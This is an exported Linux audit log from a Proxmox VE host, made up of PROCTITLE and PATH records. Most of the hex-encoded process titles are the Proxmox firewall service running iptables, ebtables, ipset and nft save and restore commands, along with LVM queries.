{"@timestamp":1781965764212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965764.212:66990): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715543,"@rawstring":"node=pve type=PATH msg=audit(1781965715.543:66806): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965764212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965764.212:66989): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715543,"@rawstring":"node=pve type=PATH msg=audit(1781965715.543:66806): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965764207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965764.207:66988): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715543,"@rawstring":"node=pve type=PATH msg=audit(1781965715.543:66805): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965764207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965764.207:66987): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715537,"@rawstring":"node=pve type=PATH msg=audit(1781965715.537:66804): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965764207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965764.207:66986): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715537,"@rawstring":"node=pve type=PATH msg=audit(1781965715.537:66804): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965759194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965759.194:66985): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715537,"@rawstring":"node=pve type=PATH msg=audit(1781965715.537:66804): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965759194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965759.194:66984): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715531,"@rawstring":"node=pve type=PATH msg=audit(1781965715.531:66803): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965759194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965759.194:66983): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715531,"@rawstring":"node=pve type=PATH msg=audit(1781965715.531:66803): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965759187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965759.187:66982): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715522,"@rawstring":"node=pve type=PATH msg=audit(1781965715.522:66802): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965759187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965759.187:66981): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715522,"@rawstring":"node=pve type=PATH msg=audit(1781965715.522:66802): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965759187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965759.187:66980): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715514,"@rawstring":"node=pve type=PATH msg=audit(1781965715.514:66801): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.234:66979): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965715514,"@rawstring":"node=pve type=PATH msg=audit(1781965715.514:66801): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755231,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.231:66978): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965715505,"@rawstring":"node=pve type=PATH msg=audit(1781965715.505:66800): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.230:66977): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965715505,"@rawstring":"node=pve type=PATH msg=audit(1781965715.505:66800): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.230:66976): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965715497,"@rawstring":"node=pve type=PATH msg=audit(1781965715.497:66798): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.226:66975): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965715497,"@rawstring":"node=pve type=PATH msg=audit(1781965715.497:66798): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.219:66974): proctitle=\"ip6tables-save\""} {"@timestamp":1781965715486,"@rawstring":"node=pve type=PATH msg=audit(1781965715.486:66797): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.212:66973): proctitle=\"iptables-save\""} {"@timestamp":1781965715486,"@rawstring":"node=pve type=PATH msg=audit(1781965715.486:66797): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755204,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.204:66972): proctitle=\"ip6tables-save\""} {"@timestamp":1781965715479,"@rawstring":"node=pve type=PATH msg=audit(1781965715.479:66796): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.197:66971): proctitle=\"iptables-save\""} {"@timestamp":1781965715479,"@rawstring":"node=pve type=PATH msg=audit(1781965715.479:66796): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.193:66970): proctitle=\"ebtables-restore\""} {"@timestamp":1781965715472,"@rawstring":"node=pve type=PATH msg=audit(1781965715.472:66795): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755190,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.190:66969): proctitle=\"ebtables-restore\""} {"@timestamp":1781965715472,"@rawstring":"node=pve type=PATH msg=audit(1781965715.472:66795): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.183:66968): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965715465,"@rawstring":"node=pve type=PATH msg=audit(1781965715.465:66794): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.177:66967): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965715465,"@rawstring":"node=pve type=PATH msg=audit(1781965715.465:66794): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.171:66966): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965715458,"@rawstring":"node=pve type=PATH msg=audit(1781965715.458:66793): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.165:66965): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965715458,"@rawstring":"node=pve type=PATH msg=audit(1781965715.458:66793): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755158,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.158:66964): proctitle=697073657400726573746F7265"} {"@timestamp":1781965715449,"@rawstring":"node=pve type=PATH msg=audit(1781965715.449:66792): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.151:66963): proctitle=\"ip6tables-save\""} {"@timestamp":1781965715449,"@rawstring":"node=pve type=PATH msg=audit(1781965715.449:66792): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.142:66962): proctitle=\"iptables-save\""} {"@timestamp":1781965715440,"@rawstring":"node=pve type=PATH msg=audit(1781965715.440:66791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.137:66961): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965715440,"@rawstring":"node=pve type=PATH msg=audit(1781965715.440:66791): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755134,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.134:66960): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965715434,"@rawstring":"node=pve type=PATH msg=audit(1781965715.434:66790): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.133:66959): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965715434,"@rawstring":"node=pve type=PATH msg=audit(1781965715.434:66790): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.133:66958): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965715429,"@rawstring":"node=pve type=PATH msg=audit(1781965715.429:66789): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755128,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.128:66957): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965715429,"@rawstring":"node=pve type=PATH msg=audit(1781965715.429:66789): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.119:66956): proctitle=\"ip6tables-save\""} {"@timestamp":1781965715428,"@rawstring":"node=pve type=PATH msg=audit(1781965715.428:66788): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755111,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.111:66955): proctitle=\"iptables-save\""} {"@timestamp":1781965715428,"@rawstring":"node=pve type=PATH msg=audit(1781965715.428:66788): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755103,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.103:66954): proctitle=69707365740073617665"} {"@timestamp":1781965715428,"@rawstring":"node=pve type=PATH msg=audit(1781965715.428:66787): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.095:66953): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965715423,"@rawstring":"node=pve type=PATH msg=audit(1781965715.423:66786): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965755086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965755.086:66952): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965715423,"@rawstring":"node=pve type=PATH msg=audit(1781965715.423:66786): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965754692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965754.692:66951): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965715423,"@rawstring":"node=pve type=PATH msg=audit(1781965715.423:66786): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965754655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965754.655:66950): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965715413,"@rawstring":"node=pve type=PATH msg=audit(1781965715.413:66785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965754181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965754.181:66949): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715413,"@rawstring":"node=pve type=PATH msg=audit(1781965715.413:66785): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965754181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965754.181:66948): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715403,"@rawstring":"node=pve type=PATH msg=audit(1781965715.403:66784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965754181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965754.181:66947): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715403,"@rawstring":"node=pve type=PATH msg=audit(1781965715.403:66784): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965754174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965754.174:66946): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715397,"@rawstring":"node=pve type=PATH msg=audit(1781965715.397:66783): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965754174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965754.174:66945): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715397,"@rawstring":"node=pve type=PATH msg=audit(1781965715.397:66783): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965754174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965754.174:66944): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715387,"@rawstring":"node=pve type=PATH msg=audit(1781965715.387:66782): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965749168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965749.168:66943): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715387,"@rawstring":"node=pve type=PATH msg=audit(1781965715.387:66782): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965749168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965749.168:66942): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715379,"@rawstring":"node=pve type=PATH msg=audit(1781965715.379:66781): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965749168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965749.168:66941): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965715379,"@rawstring":"node=pve type=PATH msg=audit(1781965715.379:66781): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965749160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965749.160:66940): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965714137,"@rawstring":"node=pve type=PATH msg=audit(1781965714.137:66780): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965749160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965749.160:66939): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965714137,"@rawstring":"node=pve type=PATH msg=audit(1781965714.137:66780): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965749160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965749.160:66938): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965714107,"@rawstring":"node=pve type=PATH msg=audit(1781965714.107:66779): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.074:66937): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965714107,"@rawstring":"node=pve type=PATH msg=audit(1781965714.107:66779): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.071:66936): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965714049,"@rawstring":"node=pve type=PATH msg=audit(1781965714.049:66778): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.070:66935): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965714049,"@rawstring":"node=pve type=PATH msg=audit(1781965714.049:66778): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.070:66934): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965714047,"@rawstring":"node=pve type=PATH msg=audit(1781965714.047:66777): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.065:66933): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965714047,"@rawstring":"node=pve type=PATH msg=audit(1781965714.047:66777): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965746057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965746.057:66932): proctitle=\"ip6tables-save\""} 